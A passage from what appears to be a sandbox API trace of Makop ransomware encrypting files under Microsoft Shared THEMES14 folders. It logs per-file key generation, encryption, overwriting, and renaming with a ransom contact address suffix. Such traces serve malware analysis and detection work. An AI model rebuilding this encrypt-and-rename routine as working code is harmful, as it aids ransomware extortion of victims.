lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.921] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.921] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.921] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.921] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4d0, lpOverlapped=0x0) returned 1 [0097.921] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4d0) returned 1 [0097.921] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.922] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4d0, lpOverlapped=0x0) returned 1 [0097.922] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.922] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.922] SetEndOfFile (hFile=0x138) returned 1 [0097.929] GetProcessHeap () returned 0x48a0000 [0097.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.929] GetProcessHeap () returned 0x48a0000 [0097.929] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.929] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0097.929] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.930] CloseHandle (hObject=0x138) returned 1 [0097.930] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0097.930] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0097.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.931] GetProcessHeap () returned 0x48a0000 [0097.931] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.931] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.931] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.931] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x3, lpOverlapped=0x0) returned 1 [0097.959] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.959] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.959] GetProcessHeap () returned 0x48a0000 [0097.959] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.959] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.959] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.959] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.959] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.960] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.960] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.960] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.960] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.960] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.960] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.960] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.960] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x47ed, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x47ed, lpOverlapped=0x0) returned 1 [0097.962] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x47f0, dwBufLen=0x47f0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x47f0) returned 1 [0097.962] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.962] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x47f0, lpOverlapped=0x0) returned 1 [0097.963] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.963] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x48c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.963] SetEndOfFile (hFile=0x138) returned 1 [0097.970] GetProcessHeap () returned 0x48a0000 [0097.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.970] GetProcessHeap () returned 0x48a0000 [0097.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.970] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0097.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.971] CloseHandle (hObject=0x138) returned 1 [0097.972] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0097.972] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0097.972] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0097.972] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS") returned 62 [0097.972] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*") returned 66 [0097.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0097.975] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.975] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x954c700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x954c700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe743, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.ELM", cAlternateFileName="")) returned 1 [0097.975] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM") returned 73 [0097.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.975] GetProcessHeap () returned 0x48a0000 [0097.976] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.976] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.976] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.976] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0097.982] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.982] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.982] GetProcessHeap () returned 0x48a0000 [0097.982] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0097.982] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0097.982] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.982] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0097.983] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.983] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.983] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.983] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.983] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.984] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.984] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.984] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.984] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe743, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xe743, lpOverlapped=0x0) returned 1 [0097.986] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xe750, dwBufLen=0xe750 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xe750) returned 1 [0097.987] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.987] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe750, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xe750, lpOverlapped=0x0) returned 1 [0097.988] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.988] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xe814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.988] SetEndOfFile (hFile=0x138) returned 1 [0097.995] GetProcessHeap () returned 0x48a0000 [0097.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0097.995] GetProcessHeap () returned 0x48a0000 [0097.995] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.995] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0097.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.999] CloseHandle (hObject=0x138) returned 1 [0097.999] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x215, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS.INF", cAlternateFileName="")) returned 1 [0097.999] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF") returned 73 [0098.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.001] GetProcessHeap () returned 0x48a0000 [0098.002] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0098.002] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0098.002] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0098.002] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0098.005] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.005] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.005] GetProcessHeap () returned 0x48a0000 [0098.005] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0098.005] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0098.005] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.005] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0098.006] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0098.006] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0098.006] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0098.006] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0098.006] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0098.006] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0098.007] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0098.007] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.007] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x215, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x215, lpOverlapped=0x0) returned 1 [0098.007] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x220, dwBufLen=0x220 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x220) returned 1 [0098.007] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.007] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x220, lpOverlapped=0x0) returned 1 [0098.007] CryptDestroyKey (hKey=0x48c7168) returned 1 [0098.007] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.007] SetEndOfFile (hFile=0x138) returned 1 [0098.013] GetProcessHeap () returned 0x48a0000 [0098.014] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0098.014] GetProcessHeap () returned 0x48a0000 [0098.014] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0098.014] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0098.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0098.021] CloseHandle (hObject=0x138) returned 1 [0098.021] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0098.022] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft 